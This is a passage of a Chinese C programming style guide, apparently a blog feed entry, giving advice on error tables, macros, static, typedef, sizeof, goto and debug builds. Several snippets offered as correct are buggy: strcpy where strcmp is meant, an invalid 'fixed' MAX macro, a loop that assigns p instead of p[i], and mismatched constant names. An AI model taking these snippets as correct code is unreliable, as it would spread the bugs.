我曾遇到过的最疯狂的事，就是在我的目标文件中，这个errmsg一共有112个副本，执行文件有8M左右。当我把errmsg放到C文件中，并为一千多个C文件加上了extern的声明后，所有的函数库文件尺寸都下降了20%左右，而我的执行文件只有5M了。一下子少了3M啊。<br />
〔 备注 〕<br />
-----<br />
有朋友对我说，这个只是一个特例，因为，如果errmsg在执行文件中存在多个副本时，可以加快程序运行速度，理由是errmsg的多个复本会让系统的内存换页降低，达到效率提升。像我们这里所说的errmsg只有一份，当某函数要用errmsg时，如果内存隔得比较远，会产生换页，反而效率不高。<br />
这个说法不无道理，但是一般而言，对于一个比较大的系统，errmsg是比较大的，所以产生副本导致执行文件尺寸变大，不仅增加了系统装载时间，也会让一个程序在内存中占更多的页面。而对于errmsg这样数据，一般来说，在系统运行时不会经常用到，所以还是产生的内存换页也就不算频繁。权衡之下，还是只有一份errmsg的效率高。即便是像logmsg这样频繁使用的的数据，操作系统的内存调度算法会让这样的频繁使用的页面常驻于内存，所以也就不会出现内存换页问题了<br />
11、出错信息的处理<br />
---------<br />
你会处理出错信息吗？哦，它并不是简单的输出。看下面的示例：<br />
　　if ( p == NULL ){<br />
　　　　printf ( "ERR: The pointer is NULLn" );<br />
　　}<br />
　　<br />
告别学生时代的编程吧。这种编程很不利于维护和管理，出错信息或是提示信息，应该统一处理，而不是像上面这样，写成一个“硬编码”。第10条对这方面的处理做了一部分说明。如果要管理错误信息，那就要有以下的处理：<br />
　　/* 声明出错代码 */<br />
　　#define　　 ERR_NO_ERROR　　0　/* No error　　　　　　　　 */<br />
　　#define　　 ERR_OPEN_FILE　 1　/* Open file error　　　　　*/<br />
　　#define　　 ERR_SEND_MESG　 2　/* sending a message error　*/<br />
　　#define　　 ERR_BAD_ARGS　　3　/* Bad arguments　　　　　　*/<br />
　　#define　　 ERR_MEM_NONE　　4　/* Memeroy is not enough　　*/<br />
　　#define　　 ERR_SERV_DOWN　 5　/* Service down try later　 */<br />
　　#define　　 ERR_UNKNOW_INFO 6　/* Unknow information　　　 */<br />
　　#define　　 ERR_SOCKET_ERR　7　/* Socket operation failed　*/<br />
　　#define　　 ERR_PERMISSION　8　/* Permission denied　　　　*/<br />
　　#define　　 ERR_BAD_FORMAT　9　/* Bad configuration file　 */<br />
　　#define　　 ERR_TIME_OUT　 10　/* Communication time out　 */<br />
　　<br />
　　/* 声明出错信息 */<br />
　　char* errmsg[] = {<br />
　　　　/* 0 */　　　 "No error",　　　　　　　　<br />
　　　　/* 1 */　　　 "Open file error",　　　　<br />
　　　　/* 2 */　　　 "Failed in sending/receiving a message",　<br />
　　　　/* 3 */　　　 "Bad arguments",　<br />
　　　　/* 4 */　　　 "Memeroy is not enough",<br />
　　　　/* 5 */　　　 "Service is down; try later",<br />
　　　　/* 6 */　　　 "Unknow information",<br />
　　　　/* 7 */　　　 "A socket operation has failed",<br />
　　　　/* 8 */　　　 "Permission denied",<br />
　　　　/* 9 */　　　 "Bad configuration file format",　<br />
　　　　/* 10 */　　　"Communication time out",<br />
　　};<br />
　　　　　　　　　　　　　　　<br />
　　/* 声明错误代码全局变量 */<br />
　　long errno = 0;<br />
　　<br />
　　/* 打印出错信息函数 */<br />
　　void perror( char* info)<br />
　　{<br />
　　　　if ( info ){<br />
　　　　　　printf("%s: %sn", info, errmsg[errno] );<br />
　　　　　　return;<br />
　　　　}<br />
　　　　<br />
　　　　printf("Error: %sn", errmsg[errno] );<br />
　　}<br />
这个基本上是ANSI的错误处理实现细节了，于是当你程序中有错误时你就可以这样处理：<br />
　　bool CheckPermission( char* userName )<br />
　　{<br />
　　　　if ( strcpy(userName, "root") != 0 ){<br />
　　　　　　errno = ERR_PERMISSION_DENIED;<br />
　　　　　　return (FALSE);<br />
　　　　}<br />
　　　　<br />
　　　　...<br />
　　}<br />
　　<br />
　　main()<br />
　　{<br />
　　　　...<br />
　　　　if (! CheckPermission( username ) ){<br />
　　　　　　perror("main()");<br />
　　　　}<br />
　　　　...<br />
　　}<br />
　　　　　　　　　　　　　　　<br />
一个即有共性，也有个性的错误信息处理，这样做有利同种错误出一样的信息，统一用户界面，而不会因为文件打开失败，A程序员出一个信息，B程序员又出一个信息。而且这样做，非常容易维护。代码也易读。<br />
当然，物极必反，也没有必要把所有的输出都放到errmsg中，抽取比较重要的出错信息或是提示信息是其关键，但即使这样，这也包括了大多数的信息。</p>
<p>12、常用函数和循环语句中的被计算量<br />
-----------------<br />
看一下下面这个例子：<br />
　　for( i=0; i<1000; i++ ){<br />
　　　　GetLocalHostName( hostname );<br />
　　　　...<br />
　　}<br />
　　<br />
GetLocalHostName的意思是取得当前计算机名，在循环体中，它会被调用1000次啊。这是多么的没有效率的事啊。应该把这个函数拿到循环体外，这样只调用一次，效率得到了很大的提高。虽然，我们的编译器会进行优化，会把循环体内的不变的东西拿到循环外面，但是，你相信所有编译器会知道哪些是不变的吗？我觉得编译器不可靠。最好还是自己动手吧。<br />
同样，对于常用函数中的不变量，如：<br />
GetLocalHostName(char* name)<br />
{<br />
　　char funcName[] = "GetLocalHostName";<br />
　　<br />
　　sys_log( "%s begin......", funcName );<br />
　　...<br />
　　sys_log( "%s end......", funcName );<br />
}<br />
如果这是一个经常调用的函数，每次调用时都要对funcName进行分配内存，这个开销很大啊。把这个变量声明成static吧，当函数再次被调用时，就会省去了分配内存的开销，执行效率也很好。<br />
　　</p>
<p>13、函数名和变量名的命名<br />
------------<br />
我看到许多程序对变量名和函数名的取名很草率，特别是变量名，什么a,b,c,aa,bb,cc，还有什么flag1,flag2, cnt1, cnt2，这同样是一种没有“修养”的行为。即便加上好的注释。好的变量名或是函数名，我认为应该有以下的规则：<br />
　　<br />
　　1) 直观并且可以拼读，可望文知意，不必“解码”。<br />
　　2) 名字的长度应该即要最短的长度，也要能最大限度的表达其含义。<br />
　　3) 不要全部大写，也不要全部小写，应该大小写都有，如：GetLocalHostName 或是 UserAccount。<br />
　　4) 可以简写，但简写得要让人明白，如：ErrorCode -> ErrCode,　ServerListener -> ServLisner，UserAccount -> UsrAcct 等。<br />
　　5) 为了避免全局函数和变量名字冲突，可以加上一些前缀，一般以模块简称做为前缀。<br />
　　6) 全局变量统一加一个前缀或是后缀，让人一看到这个变量就知道是全局的。<br />
　　7) 用匈牙利命名法命名函数参数，局部变量。但还是要坚持“望文生意”的原则。<br />
　　8) 与标准库（如：STL）或开发库（如：MFC）的命名风格保持一致。<br />
　　</p>
<p>　　<br />
14、函数的传值和传指针<br />
&#8212;&#8212;&#8212;&#8212;<br />
向函数传参数时，一般而言，传入非const的指针时，就表示，在函数中要修改这个指针把指内存中的数据。如果是传值，那么无论在函数内部怎么修改这个值，也影响不到传过来的值，因为传值是只内存拷贝。<br />
什么？你说这个特性你明白了，好吧，让我们看看下面的这个例程：<br />
void<br />
GetVersion(char* pStr)<br />
{<br />
　　pStr = malloc(10);<br />
　　strcpy ( pStr, &#8220;2.0&#8243; );<br />
}<br />
main()<br />
{<br />
　　char* ver = NULL;<br />
　　GetVersion ( ver );<br />
　　&#8230;<br />
　　&#8230;<br />
　　free ( ver );<br />
}<br />
我保证，类似这样的问题是一个新手最容易犯的错误。程序中妄图通过函数GetVersion给指针ver分配空间，但这种方法根本没有什么作用，原因就是&#8211;这是传值，不是传指针。你或许会和我争论，我分明传的时指针啊？再仔细看看，其实，你传的是指针其实是在传值。</p>
<p>15、修改别人程序的修养<br />
&#8212;&#8212;&#8212;&#8211;<br />
当你维护别人的程序时，请不要非常主观臆断的把已有的程序删除或是修改。我经常看到有的程序员直接在别人的程序上修改表达式或是语句。修改别人的程序时，请不要删除别人的程序，如果你觉得别人的程序有所不妥，请注释掉，然后添加自己的处理程序，必竟，你不可能100%的知道别人的意图，所以为了可以恢复，请不依赖于CVS或是SourceSafe这种版本控制软件，还是要在源码上给别人看到你修改程序的意图和步骤。这是程序维护时，一个有修养的程序员所应该做的。<br />
如下所示，这就是一种比较好的修改方法：<br />
　　/*<br />
　　 * &#8212;&#8211; commented by haoel 2003/04/12 &#8212;&#8212;<br />
　　 *<br />
　　 *　 char* p = ( char* ) malloc( 10 );<br />
　　 *　 memset( p, 0, 10 );<br />
　　 */<br />
　　<br />
　　/* &#8212;&#8212; Added by haoel　 2003/04/12 &#8212;&#8211; */<br />
　　 char* p = ( char* )calloc( 10, sizeof char );<br />
　　/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- */<br />
　　&#8230;<br />
当然，这种方法是在软件维护时使用的，这样的方法，可以让再维护的人很容易知道以前的代码更改的动作和意图，而且这也是对原作者的一种尊敬。<br />
以“注释 &#8211; 添加”方式修改别人的程序，要好于直接删除别人的程序。<br />
16、把相同或近乎相同的代码形成函数和宏<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
有人说，最好的程序员，就是最喜欢“偷懒”的程序，其中不无道理。<br />
如果你有一些程序的代码片段很相似，或直接就是一样的，请把他们放在一个函数中。而如果这段代码不多，而且会被经常使用，你还想避免函数调用的开销，那么就把他写成宏吧。<br />
千万不要让同一份代码或是功能相似的代码在多个地方存在，不然如果功能一变，你就要修改好几处地方，这种会给维护带来巨大的麻烦，所以，做到“一改百改”，还是要形成函数或是宏。</p>
<p>17、表达式中的括号<br />
&#8212;&#8212;&#8212;<br />
如果一个比较复杂的表达式中，你并不是很清楚各个操作符的忧先级，即使是你很清楚优先级，也请加上括号，不然，别人或是自己下一次读程序时，一不小心就看走眼理解错了，为了避免这种“误解”，还有让自己的程序更为清淅，还是加上括号吧。<br />
比如，对一个结构的成员取地址：<br />
　　GetUserAge( &#038;( UserInfo->age ) );<br />
虽然，&#038;UserInfo->age中，->操作符的优先级最高，但加上一个括号，会让人一眼就看明白你的代码是什么意思。<br />
再比如，一个很长的条件判断：<br />
if ( ( ch[0] >= &acute;0&acute; || ch[0] <= &acute;9&acute; ) &#038;&#038;<br />
　　 ( ch[1] >= &acute;a&acute; || ch[1] <= &acute;z&acute; ) &#038;&#038;<br />
　　 ( ch[2] >= &acute;A&acute; || ch[2] <= &acute;Z&acute; )　　)<br />
　　<br />
括号，再加上空格和换行，你的代码是不是很容易读懂了？　　</p>
<p>18、函数参数中的const<br />
-----------<br />
对于一些函数中的指针参数，如果在函数中只读，请将其用const修饰，这样，别人一读到你的函数接口时，就会知道你的意图是这个参数是[in]，如果没有const时，参数表示[in/out]，注意函数接口中的const使用，利于程序的维护和避免犯一些错误。<br />
虽然，const修饰的指针，如：const char* p，在C中一点用也没有，因为不管你的声明是不是const，指针的内容照样能改，因为编译器会强制转换，但是加上这样一个说明，有利于程序的阅读和编译。因为在C中，修改一个const指针所指向的内存时，会报一个Warning。这会引起程序员的注意。<br />
C++中对const定义的就很严格了，所以C++中要多多的使用const，const的成员函数，const的变量，这样会对让你的代码和你的程序更加完整和易读。（关于C++的const我就不多说了）</p>
<p>19、函数的参数个数（多了请用结构）<br />
-----------------<br />
函数的参数个数最好不要太多，一般来说6个左右就可以了，众多的函数参数会让读代码的人一眼看上去就很头昏，而且也不利于维护。如果参数众多，还请使用结构来传递参数。这样做有利于数据的封装和程序的简洁性。<br />
也利于使用函数的人，因为如果你的函数个数很多，比如12个，调用者很容易搞错参数的顺序和个数，而使用结构struct来传递参数，就可以不管参数的顺序。<br />
而且，函数很容易被修改，如果需要给函数增加参数，不需要更改函数接口，只需更改结构体和函数内部处理，而对于调用函数的程序来说，这个动作是透明的。</p>
<p>20、函数的返回类型，不要省略<br />
--------------<br />
我看到很多程序写函数时，在函数的返回类型方面不太注意。如果一个函数没有返回值，也请在函数前面加上void的修饰。而有的程序员偷懒，在返回int的函数则什么不修饰（因为如果不修饰，则默认返回int），这种习惯很不好，还是为了原代码的易读性，加上int吧。<br />
所以函数的返回值类型，请不要省略。<br />
另外，对于void的函数，我们往往会忘了return，由于某些C/C++的编译器比较敏感，会报一些警告，所以即使是void的函数，我们在内部最好也要加上return的语句，这有助于代码的编译。</p>
<p>21、goto语句的使用<br />
---------<br />
N年前，软件开发的一代宗师--迪杰斯特拉(Dijkstra)说过：“goto statment is harmful !!”，并建议取消goto语句。因为goto语句不利于程序代码的维护性。<br />
这里我也强烈建议不要使用goto语句，除非下面的这种情况：</p>
<p>　　#define FREE(p) if(p) {<br />
　　　　　　　　　　　　free(p);<br />
　　　　　　　　　　　　p = NULL;<br />
　　　　　　　　　　}<br />
　　main()<br />
　　{<br />
　　　　char *fname=NULL, *lname=NULL, *mname=NULL;<br />
　　　　fname = ( char* ) calloc ( 20, sizeof(char) );<br />
　　　　if ( fname == NULL ){<br />
　　　　　　goto ErrHandle;<br />
　　　　}<br />
　　　　lname = ( char* ) calloc ( 20, sizeof(char) );<br />
　　　　if ( lname == NULL ){<br />
　　　　　　goto ErrHandle;<br />
　　　　}<br />
　　　　mname = ( char* ) calloc ( 20, sizeof(char) );<br />
　　　　if ( mname == NULL ){<br />
　　　　　　goto ErrHandle;<br />
　　　　}<br />
　　　　<br />
　　　　......<br />
　　<br />
　　　　<br />
　　 ErrHandle:<br />
　　　　FREE(fname);<br />
　　　　FREE(lname);<br />
　　　　FREE(mname);<br />
　　　　ReportError(ERR_NO_MEMOEY);<br />
　　 }<br />
也只有在这种情况下，goto语句会让你的程序更易读，更容易维护。（在用嵌C来对数据库设置游标操作时，或是对数据库建立链接时，也会遇到这种结构）</p>
<p>22、宏的使用<br />
------<br />
很多程序员不知道C中的“宏”到底是什么意思？特别是当宏有参数的时候，经常把宏和函数混淆。我想在这里我还是先讲讲“宏”，宏只是一种定义，他定义了一个语句块，当程序编译时，编译器首先要执行一个“替换”源程序的动作，把宏引用的地方替换成宏定义的语句块，就像文本文件替换一样。这个动作术语叫“宏的展开”<br />
使用宏是比较“危险”的，因为你不知道宏展开后会是什么一个样子。例如下面这个宏：<br />
　　#define　MAX(a, b)　　 a>b?a:b<br />
当我们这样使用宏时，没有什么问题： MAX( num1, num2 ); 因为宏展开后变成 num1>num2?num1:num2；。但是，如果是这样调用的，MAX( 17+32, 25+21 ); 呢，编译时出现错误，原因是，宏展开后变成：17+32>25+21?17+32:25+21，哇，这是什么啊？<br />
所以，宏在使用时，参数一定要加上括号，上述的那个例子改成如下所示就能解决问题了。<br />
　　#define　MAX( (a), (b) )　　 (a)>(b)?(a):(b)<br />
　　<br />
即使是这样，也不这个宏也还是有Bug，因为如果我这样调用 MAX(i++, j++); ，经过这个宏以后，i和j都被累加了两次，这绝不是我们想要的。<br />
　　<br />
所以，在宏的使用上还是要谨慎考虑，因为宏展开是的结果是很难让人预料的。而且虽然，宏的执行很快（因为没有函数调用的开销），但宏会让源代码澎涨，使目标文件尺寸变大，（如：一个50行的宏，程序中有1000个地方用到，宏展开后会很不得了），相反不能让程序执行得更快（因为执行文件变大，运行时系统换页频繁）。<br />
因此，在决定是用函数，还是用宏时得要小心。</p>
<p>23、static的使用<br />
&#8212;&#8212;&#8211;<br />
static关键字，表示了“静态”，一般来说，他会被经常用于变量和函数。一个static的变量，其实就是全局变量，只不过他是有作用域的全局变量。比如一个函数中的static变量：<br />
char*<br />
getConsumerName()<br />
{<br />
　　static int cnt = 0;<br />
　　<br />
　　&#8230;.<br />
　　cnt++;<br />
　　&#8230;.<br />
}<br />
cnt变量的值会跟随着函数的调用次而递增，函数退出后，cnt的值还存在，只是cnt只能在函数中才能被访问。而cnt的内存也只会在函数第一次被调用时才会被分配和初始化，以后每次进入函数，都不为static分配了，而直接使用上一次的值。<br />
对于一些被经常调用的函数内的常量，最好也声明成static（参见第12条）<br />
但static的最多的用处却不在这里，其最大的作用的控制访问，在C中如果一个函数或是一个全局变量被声明为static，那么，这个函数和这个全局变量，将只能在这个C文件中被访问，如果别的C文件中调用这个C文件中的函数，或是使用其中的全局（用extern关键字），将会发生链接时错误。这个特性可以用于数据和程序保密。</p>
<p>24、函数中的代码尺寸<br />
&#8212;&#8212;&#8212;-<br />
一个函数完成一个具体的功能，一般来说，一个函数中的代码最好不要超过600行左右，越少越好，最好的函数一般在100行以内，300行左右的孙函数就差不多了。有证据表明，一个函数中的代码如果超过500行，就会有和别的函数相同或是相近的代码，也就是说，就可以再写另一个函数。<br />
另外，函数一般是完成一个特定的功能，千万忌讳在一个函数中做许多件不同的事。函数的功能越单一越好，一方面有利于函数的易读性，另一方面更有利于代码的维护和重用，功能越单一表示这个函数就越可能给更多的程序提供服务，也就是说共性就越多。<br />
虽然函数的调用会有一定的开销，但比起软件后期维护来说，增加一些运行时的开销而换来更好的可维护性和代码重用性，是很值得的一件事。</p>
<p>25、typedef的使用<br />
&#8212;&#8212;&#8212;<br />
typedef是一个给类型起别名的关键字。不要小看了它，它对于你代码的维护会有很好的作用。比如C中没有bool，于是在一个软件中，一些程序员使用int，一些程序员使用short，会比较混乱，最好就是用一个typedef来定义，如：<br />
　　typedef char bool;<br />
　　<br />
一般来说，一个C的工程中一定要做一些这方面的工作，因为你会涉及到跨平台，不同的平台会有不同的字长，所以利用预编译和typedef可以让你最有效的维护你的代码，如下所示：<br />
　　#ifdef SOLARIS2_5<br />
　　　typedef boolean_t　　 BOOL_T;<br />
　　#else<br />
　　　typedef int　　　　　 BOOL_T;<br />
　　#endif<br />
　　<br />
　　typedef short　　　　　 INT16_T;<br />
　　typedef unsigned short　UINT16_T;<br />
　　typedef int　　　　　　 INT32_T;<br />
　　typedef unsigned int　　UINT32_T;<br />
　　<br />
　　#ifdef WIN32<br />
　　　typedef _int64　　　　INT64_T;<br />
　　#else<br />
　　　typedef long long　　 INT64_T;<br />
　　#endif<br />
　　<br />
　　typedef float　　　　　 FLOAT32_T;<br />
　　typedef char*　　　　　 STRING_T;<br />
　　typedef unsigned char　 BYTE_T;<br />
　　typedef time_t　　　　　TIME_T;<br />
　　typedef INT32_T　　　　 PID_T;<br />
　　<br />
使用typedef的其它规范是，在结构和函数指针时，也最好用typedef，这也有利于程序的易读和可维护性。如：<br />
　　typedef struct _hostinfo {<br />
　　　　HOSTID_T　 host;<br />
　　　　INT32_T　　hostId;<br />
　　　　STRING_T　 hostType;<br />
　　　　STRING_T　 hostModel;<br />
　　　　FLOAT32_T　cpuFactor;<br />
　　　　INT32_T　　numCPUs;<br />
　　　　INT32_T　　nDisks;<br />
　　　　INT32_T　　memory;<br />
　　　　INT32_T　　swap;<br />
　　} HostInfo;</p>
<p>　　typedef INT32_T (*RsrcReqHandler)(<br />
　　 void *info,<br />
　　 JobArray *jobs,<br />
　　 AllocInfo *allocInfo,<br />
　　 AllocList *allocList);<br />
C++中这样也是很让人易读的：<br />
　　typedef CArray<HostInfo, HostInfo&#038;> HostInfoArray;<br />
于是，当我们用其定义变量时，会显得十分易读。如：<br />
　　HostInfo* phinfo;<br />
　　RsrcReqHandler* pRsrcHand;<br />
这种方式的易读性，在函数的参数中十分明显。<br />
关键是在程序种使用typedef后，几乎所有的程序中的类型声明都显得那么简洁和清淅，而且易于维护，这才是typedef的关键。</p>
<p>26、为常量声明宏<br />
&#8212;&#8212;&#8211;<br />
最好不要在程序中出现数字式的“硬编码”，如：<br />
　　int user[120];<br />
　　<br />
为这个120声明一个宏吧。为所有出现在程序中的这样的常量都声明一个宏吧。比如TimeOut的时间，最大的用户数量，还有其它，只要是常量就应该声明成宏。如果，突然在程序中出现下面一段代码，<br />
　　for ( i=0; i<120; i++){<br />
　　　　....<br />
　　}<br />
120是什么？为什么会是120？这种“硬编码”不仅让程序很读，而且也让程序很不好维护，如果要改变这个数字，得同时对所有程序中这个120都要做修改，这对修改程序的人来说是一个很大的痛苦。所以还是把常量声明成宏，这样，一改百改，而且也很利于程序阅读。<br />
　　#define MAX_USR_CNT 120<br />
　　<br />
　　for ( i=0; i<MAX_USER_CNT; i++){<br />
　　　　....<br />
　　}<br />
这样就很容易了解这段程序的意图了。<br />
有的程序员喜欢为这种变量声明全局变量，其实，全局变量应该尽量的少用，全局变量不利于封装，也不利于维护，而且对程序执行空间有一定的开销，一不小心就造成系统换页，造成程序执行速度效率等问题。所以声明成宏，即可以免去全局变量的开销，也会有速度上的优势。</p>
<p>27、不要为宏定义加分号<br />
-----------<br />
有许多程序员不知道在宏定义时是否要加分号，有时，他们以为宏是一条语句，应该要加分号，这就错了。当你知道了宏的原理，你会赞同我为会么不要为宏定义加分号的。看一个例子：<br />
　　#define MAXNUM 1024;<br />
这是一个有分号的宏，如果我们这样使用：<br />
　　half = MAXNUM/2;<br />
　　<br />
　　if ( num < MAXNUM )<br />
等等，都会造成程序的编译错误，因为，当宏展开后，他会是这个样子的：<br />
　　half = 1024;/2;<br />
　　<br />
　　if ( num < 1024; )<br />
　　<br />
是的，分号也被展进去了，所以造成了程序的错误。请相信我，有时候，一个分号会让你的程序出现成百个错误。所以还是不要为宏加最后一个分号，哪怕是这样：<br />
　　#define LINE　　"================================="<br />
　　<br />
　　#define PRINT_LINE　printf(LINE)<br />
　　#define PRINT_NLINE(n)　while ( n-- >0 ) { PRINT_LINE; }<br />
　　<br />
都不要在最后加上分号，当我们在程序中使用时，为之加上分号，<br />
　　main()<br />
　　{<br />
　　　　char *p = LINE;<br />
　　　　PRINT_LINE;<br />
　　}<br />
这一点非常符合习惯，而且，如果忘加了分号，编译器给出的错误提示，也会让我们很容易看懂的。<br />
28、||和&#038;&#038;的语句执行顺序<br />
&#8212;&#8212;&#8212;&#8212;<br />
条件语句中的这两个“与”和“或”操作符一定要小心，它们的表现可能和你想像的不一样，这里条件语句中的有些行为需要和说一下：<br />
　　express1 || express2<br />
　　　　<br />
　　先执行表达式express1如果为“真”，express2将不被执行，express2仅在express1为“假”时才被执行。因为第一个表达式为真了，整个表达式都为真，所以没有必要再去执行第二个表达式了。<br />
　　express1 &#038;&#038; express2<br />
　　先执行表达式express1如果为“假”，express2将不被执行，express2仅在express1为“真”时才被执行。因为第一个表达式为假了，整个表达式都为假了，所以没有必要再去执行第二个表达式了。</p>
<p>于是，他并不是你所想像的所有的表达式都会去执行，这点一定要明白，不然你的程序会出现一些莫明的运行时错误。<br />
例如，下面的程序：</p>
<p>　　if ( sum > 100 &#038;&#038;<br />
　　　　 ( ( fp=fopen( filename,&#8221;a&#8221; ) ) != NULL )　 {<br />
　　　　<br />
　　　　 fprintf(fp, &#8220;Warring: it beyond one hundredn&#8221;);<br />
　　　　 &#8230;&#8230;<br />
　　}<br />
　　<br />
　　fprintf( fp, &#8221; sum is %id n&#8221;, sum );<br />
　　fclose( fp );<br />
本来的意图是，如果sum > 100 ，向文件中写一条出错信息，为了方便，把两个条件判断写在一起，于是，如果sum<=100时，打开文件的操作将不会做，最后，fprintf和fclose就会发现未知的结果。<br />
再比如，如果我想判断一个字符是不是有内容，我得判断这个字符串指针是不为空（NULL）并且其内容不能为空（Empty），一个是空指针，一个是空内容。我也许会这样写：<br />
　　if ( ( p != NULL ) &#038;&#038; ( strlen(p) != 0 ))<br />
于是，如果p为NULL，那么strlen(p)就不会被执行，于是，strlen也就不会因为一个空指针而“非法操作”或是一个“Core Dump”了。<br />
记住一点，条件语句中，并非所有的语句都会执行，当你的条件语句非常多时，这点要尤其注意。</p>
<p>29、尽量用for而不是while做循环<br />
---------------<br />
基本上来说，for可以完成while的功能，我是建议尽量使用for语句，而不要使用while语句，特别是当循环体很大时，for的优点一下就体现出来了。<br />
因为在for中，循环的初始、结束条件、循环的推进，都在一起，一眼看上去就知道这是一个什么样的循环。刚出学校的程序一般对于链接喜欢这样来：<br />
　　p = pHead;<br />
　　<br />
　　while ( p ){<br />
　　　　...<br />
　　　　...<br />
　　　　p = p->next;<br />
　　}<br />
当while的语句块变大后，你的程序将很难读，用for就好得多：<br />
　　for ( p=pHead;　p; p=p->next ){<br />
　　..<br />
　　}<br />
一眼就知道这个循环的开始条件，结束条件，和循环的推进。大约就能明白这个循环要做个什么事？而且，程序维护进来很容易，不必像while一样，在一个编辑器中上上下下的捣腾。</p>
<p>30、请sizeof类型而不是变量<br />
&#8212;&#8212;&#8212;&#8212;-<br />
许多程序员在使用sizeof中，喜欢sizeof变量名，例如：<br />
int score[100];<br />
char filename[20];<br />
struct UserInfo usr[100];<br />
在sizeof这三个的变量名时，都会返回正确的结果，于是许多程序员就开始sizeof变量名。这个习惯很虽然没有什么不好，但我还是建议sizeof类型。<br />
我看到过这个的程序：<br />
　　pScore = (int*) malloc( SUBJECT_CNT );<br />
　　memset( pScore, 0, sizeof(pScore) );<br />
　　&#8230;<br />
　　<br />
此时，sizeof(pScore)返回的就是4（指针的长度），不会是整个数组，于是，memset就不能对这块内存进行初始化。为了程序的易读和易维护，我强烈建议使用类型而不是变量，如：<br />
对于score：　　 sizeof(int) * 100　 /* 100个int */<br />
对于filename：　sizeof(char) * 20　 /* 20个char */<br />
对于usr：　　　 sizeof(struct UserInfo) * 100　 /* 100个UserInfo */<br />
这样的代码是不是很易读？一眼看上去就知道什么意思了。</p>
<p>另外一点，sizeof一般用于分配内存，这个特性特别在多维数组时，就能体现出其优点了。如，给一个字符串数组分配内存，<br />
/*<br />
* 分配一个有20个字符串，<br />
* 每个字符串长100的内存<br />
*/<br />
char* *p;<br />
/*<br />
* 错误的分配方法<br />
*/<br />
p = (char**)calloc( 20*100, sizeof(char) );</p>
<p>/*<br />
* 正确的分配方法<br />
*/<br />
p = (char**) calloc ( 20, sizeof(char*) );<br />
for ( i=0; i<20; i++){<br />
　　/*p = (char*) calloc ( 100, sizeof(char) );*/<br />
　　p = (char*) calloc ( 100, sizeof(char) );<br />
}<br />
（注：上述语句被注释掉的是原来的，是错误的，由dasherest朋友指正，谢谢）<br />
为了代码的易读，省去了一些判断，请注意这两种分配的方法，有本质上的差别。</p>
<p>31、不要忽略Warning<br />
----------<br />
对于一些编译时的警告信息，请不要忽视它们。虽然，这些Warning不会妨碍目标代码的生成，但这并不意味着你的程序就是好的。必竟，并不是编译成功的程序才是正确的，编译成功只是万里长征的第一步，后面还有大风大浪在等着你。从编译程序开始，不但要改正每个error，还要修正每个warning。这是一个有修养的程序员该做的事。<br />
一般来说，一面的一些警告信息是常见的：<br />
　　1）声明了未使用的变量。（虽然编译器不会编译这种变量，但还是把它从源程序中注释或是删除吧）<br />
　　2）使用了隐晦声明的函数。（也许这个函数在别的C文件中，编译时会出现这种警告，你应该这使用之前使用extern关键字声明这个函数）<br />
　　3）没有转换一个指针。（例如malloc返回的指针是void的，你没有把之转成你实际类型而报警，还是手动的在之前明显的转换一下吧）<br />
　　4）类型向下转换。（例如：float f = 2.0; 这种语句是会报警告的，编译会告诉你正试图把一个double转成float，你正在阉割一个变量，你真的要这样做吗？还是在2.0后面加个f吧，不然，2.0就是一个double，而不是float了）<br />
　　<br />
不管怎么说，编译器的Warning不要小视，最好不要忽略，一个程序都做得出来，何况几个小小的Warning呢？</p>
<p>32、书写Debug版和Release版的程序<br />
----------------<br />
程序在开发过程中必然有许多程序员加的调试信息。我见过许多项目组，当程序开发结束时，发动群众删除程序中的调试信息，何必呢？为什么不像VC++那样建立两个版本的目标代码？一个是debug版本的，一个是Release版的。那些调试信息是那么的宝贵，在日后的维护过程中也是很宝贵的东西，怎么能说删除就删除呢？<br />
利用预编译技术吧，如下所示声明调试函数：<br />
　　#ifdef DEBUG<br />
　　　　void TRACE(char* fmt, ...)<br />
　　　　{<br />
　　　　　　......<br />
　　　　}<br />
　　#else<br />
　　　　#define TRACE(char* fmt, ...)<br />
　　#endif<br />
于是，让所有的程序都用TRACE输出调试信息，只需要在在编译时加上一个参数“-DDEBUG”，如：<br />
　　cc -DDEBUG -o target target.c<br />
于是，预编译器发现DEBUG变量被定义了，就会使用TRACE函数。而如果要发布给用户了，那么只需要把取消“-DDEBUG”的参数，于是所有用到 TRACE宏，这个宏什么都没有，所以源程序中的所有TRACE语言全部被替换成了空。一举两得，一箭双雕，何乐而不为呢？<br />
顺便提一下，两个很有用的系统宏，一个是“__FILE__”，一个是“__LINE__”，分别表示，所在的源文件和行号，当你调试信息或是输出错误时，可以使用这两个宏，让你一眼就能看出你的错误，出现在哪个文件的第几行中。这对于用C/C++做的大工程非常的管用。</p>
<p>综上所述32条，都是为了三大目的--<br />
　　1、程序代码的易读性。<br />
　　2、程序代码的可维护性，<br />
　　3、程序代码的稳定可靠性。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
　　<br />
有修养的程序员，就应该要学会写出这样的代码！这是任何一个想做编程高手所必需面对的细小的问题，编程高手不仅技术要强，基础要好，而且最重要的是要有“修养”！<br />
好的软件产品绝不仅仅是技术，而更多的是整个软件的易维护和可靠性。　　<br />
软件的维护有大量的工作量花在代码的维护上，软件的Upgrade，也有大量的工作花在代码的组织上，所以好的代码，清淅的，易读的代码，将给大大减少软件的维护和升级成本。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/842.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BCB连接Informix数据库例程</title>
		<link>http://www.evanjiang.net.cn/archives/797.html</link>
		<comments>http://www.evanjiang.net.cn/archives/797.html#comments</comments>
		<pubDate>Fri, 13 Mar 2009 03:21:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[delphi/bcb]]></category>
		<category><![CDATA[informix]]></category>
		<category><![CDATA[sco unix]]></category>
		<category><![CDATA[BCB 连接 Informix数据库]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=797</guid>
		<description><![CDATA[<p>Informix Server是在SCO UNIX OPenserver 5.0.5下的IDS7.23
以下是几个配置文件：
